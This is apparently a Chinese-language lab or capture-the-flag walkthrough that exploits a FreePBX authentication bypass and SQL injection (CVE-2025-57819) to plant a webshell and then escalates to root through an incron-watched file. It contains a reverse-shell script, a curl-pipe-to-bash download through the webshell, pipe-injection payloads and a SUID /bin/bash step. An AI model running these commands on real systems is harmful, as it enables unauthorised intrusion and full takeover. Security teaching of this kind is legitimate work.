CVE-2025-57819 利用与 Incron 提权链
字数 1847
更新时间 2026-07-11 23:57:28

CVE-2025-57819 利用与 Incron 提权链 — 完整教学文档

一、环境概述

目标靶机IP:10.129.55.213

端口扫描结果

端口 服务 版本
22/tcp SSH OpenSSH 7.4
80/tcp HTTP Apache 2.4.6 (CentOS) + PHP 7.4.16
443/tcp HTTPS Apache 2.4.6 (CentOS) + PHP 7.4.16

Web指纹识别

通过 whatwebhttp://connected.htb/admin/config.php 进行识别:

whatweb http://connected.htb/admin/config.php

结果确认目标运行的是 FreePBX Administration 面板,版本关联 PHP 7.4.16、Apache 2.4.6、OpenSSL 1.0.2k-fips。


二、漏洞利用:CVE-2025-57819

漏洞性质

FreePBX 认证绕过 + SQL注入 → 远程代码执行(RCE)

利用工具

GitHub 公开 PoC:watchTowr-vs-FreePBX-CVE-2025-57819.py

项目地址:https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819

利用步骤

第一步:执行漏洞检测与Webshell写入

python CVE-2025-57819.py -H http://connected.htb/

脚本执行流程:

  1. 发送恶意请求触发漏洞
  2. 等待约2分钟,让DAG脚本被创建
  3. 检测webshell是否成功部署

成功标志示例输出:

[+] VULNERABLE - webshell found: http://connected.htb/this-is-an-ioc-not-actually-watchTowr-1viffvukaq.php?cmd=hostname

第二步:准备反弹Shell

在攻击机本地创建一个反弹Shell脚本 shell.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.31/443 0>&1

在攻击机当前目录启动HTTP服务:

python -m http.server 80

在攻击机开启监听:

nc -lvnp 443

第三步:执行反弹Shell

通过webshell执行命令,下载并执行反弹Shell脚本:

curl http://connected.htb/this-is-an-ioc-not-actually-watchTowr-1viffvukaq.php?cmd=curl%2010.10.16.31%2Fshell.sh%20%7C%20bash

URL编码说明:

  • %20 = 空格
  • %2F = /
  • %7C = |

实际执行的命令为:

curl 10.10.16.31/shell.sh | bash

成功获取低权限Shell。


三、权限提升:Incron 提权链

信息收集 — linpeas

使用 linpeas 进行提权枚举,发现 root 用户运行的 incron 服务。

Incron 机制说明

Incron 是基于文件系统事件触发的任务调度器,类似于 crontab,但触发条件不是时间而是文件操作事件(如 IN_CLOSE_WRITE、IN_CREATE、IN_MODIFY 等)。

关键发现

通过 linpeas 发现 incron 配置中监控了特定路径,并关联执行 /usr/bin/sysadmin_manager 脚本。

分析 sysadmin_manager

查看目标脚本内容:

cat /usr/bin/sysadmin_manager

脚本核心逻辑(PHP):

#!/usr/bin/php
<?php
namespace Sysadmin;

openlog("sysadmin-hook", LOG_PID | LOG_PERROR, LOG_CRON);

if (!file_exists("/usr/lib/sysadmin/includes.php")) {
    $err = "Unable to open /usr/lib/sysadmin/includes.php";
    syslog(LOG_ERR, $err);
    print "$err\n";
    exit;
}

$includeshash = "4b04888e0c323dacc57836beb1d5e1890a00eafd431b3288519fb8644aedd358";

此脚本由 incron 在特定文件事件发生时以 root 权限执行。

利用方法

步骤1:确认可写入的 incron 触发文件

找到 incron 监控的路径,其中存在一个可由低权限用户写入的文件:

/var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS

步骤2:写入Payload执行命令

写入命令使 sysadmin_manager 执行后,将结果写入指定文件:

printf '|id|tee /tmp/pwn' > /var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS

解释:

  • |id:管道符号表示执行 id 命令
  • |tee /tmp/pwn:将命令输出写入 /tmp/pwn 文件

等待 incron 触发后,检查结果:

cat /tmp/pwn

应显示 uid=0(root) 的输出,证明命令已以 root 权限执行。

步骤3:设置SUID提权

/bin/bash 设置为 SUID 位:

printf '|chmod +s /bin/bash' > /var/spool/asterisk/incron/sysadmin.dump-iptables.CONTENTS

等待 incron 再次触发后,执行:

bash -p

-p 参数用于启动特权模式,不重置有效UID,从而获得 root 权限的 Shell。


四、攻击链总结

信息收集
  └─ nmap 扫描开放端口
  └─ whatweb 识别 FreePBX
      └─ CVE-2025-57819 利用
          ├─ 认证绕过 + SQL注入 → Webshell
          └─ 反弹Shell → 低权限用户
              └─ Incron 提权
                  ├─ 发现 incron 监控路径
                  ├─ 写入恶意 payload 到 .CONTENTS 文件
                  ├─ incron 触发 → root 执行 sysadmin_manager
                  └─ 命令执行 → SUID /bin/bash → root Shell

五、关键知识点

知识点 说明
CVE-2025-57819 FreePBX 认证绕过结合SQL注入导致的RCE漏洞
Incron 基于文件系统事件(inotify)触发的任务调度器
管道符注入 在受控文件中插入 `
SUID提权 通过设置 /bin/bash 的SUID位,使普通用户以root权限执行
bash -p 启动bash时不丢弃有效UID,维持特权状态
相似文章
相似文章
 全屏